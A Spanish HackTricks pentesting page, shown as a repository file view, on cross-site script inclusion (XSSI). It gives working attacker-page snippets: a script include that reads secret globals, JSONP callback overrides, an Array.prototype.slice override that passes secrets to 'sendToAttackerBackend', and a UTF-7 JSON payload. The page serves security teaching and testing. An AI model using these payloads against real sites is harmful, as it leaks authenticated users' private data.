hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

115 lines
8 KiB
Markdown
Raw Normal View History

# XSSI (Cross-Site Script Inclusion)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
#### La información fue tomada de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
## Información Básica
XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando un **recurso se incluye usando la etiqueta `script`, la SOP no se aplica**, porque los scripts deben poder incluirse entre dominios. Un atacante puede así **leer todo** lo que se incluyó usando la etiqueta **`script`**.
2023-06-05 18:33:24 +00:00
Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP cuando se utilizan informaciones de autoridad ambiental como cookies para la autenticación. Las cookies se incluyen al solicitar un recurso de un host diferente.
2023-06-05 18:33:24 +00:00
### Tipos
1. JavaScript estático (XSSI regular)
2. JavaScript estático, que solo es accesible cuando se está autenticado
2023-06-05 18:33:24 +00:00
3. JavaScript dinámico
4. No-JavaScript
2023-06-05 18:33:24 +00:00
## XSSI Regular
La información privada se encuentra dentro de un archivo JS globalmente accesible, puedes detectar esto leyendo archivos, buscando palabras clave o utilizando regexps.\
Para explotar esto, solo incluye el script con información privada dentro del contenido malicioso:
2023-06-05 18:33:24 +00:00
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
## Dynamic-JavaScript-based-XSSI y Authenticated-JavaScript-XSSI
2023-06-05 18:33:24 +00:00
**La información confidencial se añade al script cuando un usuario lo solicita**. Esto se puede descubrir fácilmente enviando la solicitud **con y sin las cookies**; si se recupera **información diferente**, entonces podría contener información confidencial. Para hacer esto automáticamente puedes usar la extensión de burp: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
2023-06-05 18:33:24 +00:00
Si la información reside dentro de una variable global, puedes explotarla utilizando el mismo código que para el caso anterior.\
Si los datos confidenciales se envían dentro de una respuesta JSONP, puedes sobrescribir la función ejecutada para recuperar la información:
2023-06-05 18:33:24 +00:00
```markup
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
2023-06-05 18:33:24 +00:00
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
O también podría configurar una función preparada para ser ejecutada por la respuesta JSONP:
2023-06-05 18:33:24 +00:00
```markup
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
2023-06-05 18:33:24 +00:00
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Si una variable no reside dentro del espacio de nombres global, a veces esto puede ser explotado de todos modos utilizando _prototype tampering_. El _prototype tampering_ abusa del diseño de JavaScript, es decir, que al interpretar código, JavaScript recorre la cadena de prototipos para encontrar la propiedad llamada. El siguiente ejemplo está extraído del artículo [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) y demuestra cómo al sobrescribir una función relevante de tipo `Array` y acceder a `this`, una variable no global también puede ser filtrada.
2023-06-05 18:33:24 +00:00
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
2023-06-05 18:33:24 +00:00
})();
```
En el código original `slice` de tipo `Array` accede a los datos que nos interesan. Un atacante puede, como se describe en la cláusula anterior, sobrescribir `slice` y robar los secretos.
2023-06-05 18:33:24 +00:00
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
2023-06-05 18:33:24 +00:00
};
```
Investigador de Seguridad [Sebastian Lekies](https://twitter.com/slekies) recientemente actualizó su lista de [vectores](http://sebastian-lekies.de/leak/).
2023-06-05 18:33:24 +00:00
## Non-Script-XSSI
Takeshi Terada describe otro tipo de XSSI en su artículo [Ataques XSSI basados en identificadores](https://www.mbsd.jp/Whitepaper/xssi.pdf). Logró filtrar archivos Non-Script entre dominios incluyendo, entre otros, archivos CSV como fuente en la etiqueta `script`, utilizando los datos como nombres de variables y funciones.
2023-06-05 18:33:24 +00:00
El primer ataque XSSI documentado públicamente fue en 2006. La entrada en el blog de Jeremiah Grossman [Técnicas de Ataque Web Avanzadas usando GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) describe un XSSI, que al sobrescribir el constructor `Array` pudo leer la agenda completa de una cuenta de google.
2023-06-05 18:33:24 +00:00
En 2007 Joe Walker publicó [JSON no es tan seguro como la gente piensa](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Utiliza la misma idea para robar JSON que está dentro de un `Array`.
2023-06-05 18:33:24 +00:00
Otros ataques relacionados se llevaron a cabo inyectando contenido codificado en UTF-7 en el JSON para escapar del formato JSON. Esto es descrito por Gareth Heyes, autor de [Hackvertor](https://hackvertor.co.uk/public), en la entrada de blog [Secuestro de JSON](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) publicada en 2011. En una prueba rápida, esto todavía era posible en Microsoft Internet Explorer y Edge, pero no en Mozilla Firefox o Google Chrome.
2023-06-05 18:33:24 +00:00
JSON con UTF-7:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
Incluyendo el JSON en la página del atacante
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>